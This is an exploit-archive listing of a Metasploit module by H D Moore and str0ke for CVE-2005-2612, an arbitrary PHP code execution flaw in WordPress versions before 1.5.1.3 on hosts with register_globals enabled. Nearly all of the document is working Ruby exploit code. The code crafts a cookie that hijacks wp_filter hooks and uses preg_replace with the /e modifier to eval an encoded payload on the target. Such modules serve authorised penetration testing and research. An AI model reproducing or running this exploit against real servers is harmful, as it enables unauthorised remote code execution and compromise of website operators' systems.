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WordPress cache_lastpostdate Arbitrary Code Execution

WordPress cache_lastpostdate Arbitrary Code Execution
Posted Mar 24, 2015
Authored by H D Moore, str0ke | Site metasploit.com

This Metasploit module exploits an arbitrary PHP code execution flaw in the WordPress blogging software. This vulnerability is only present when the PHP 'register_globals' option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected.

tags | exploit, arbitrary, php, code execution
advisories | CVE-2005-2612, OSVDB-18672
MD5 | 6587a07ae6fb8103545737bc7a447633

WordPress cache_lastpostdate Arbitrary Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software. This vulnerability is only present when the PHP 'register_globals'
option is enabled (common for hosting providers). All versions of WordPress prior to
1.5.1.3 are affected.
},
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-2612'],
['OSVDB', '18672'],
['BID', '14533'],
['WPVDB', '6034']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find'
},
'Space' => 512
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 9 2005',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end

def exploit

enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
data =
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

# Trigger the command execution bug
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'cookie' => data
}, 25)

if (res)
print_status("The server returned: #{res.code} #{res.message}")
else
print_status("No response from the server")
end
end

end

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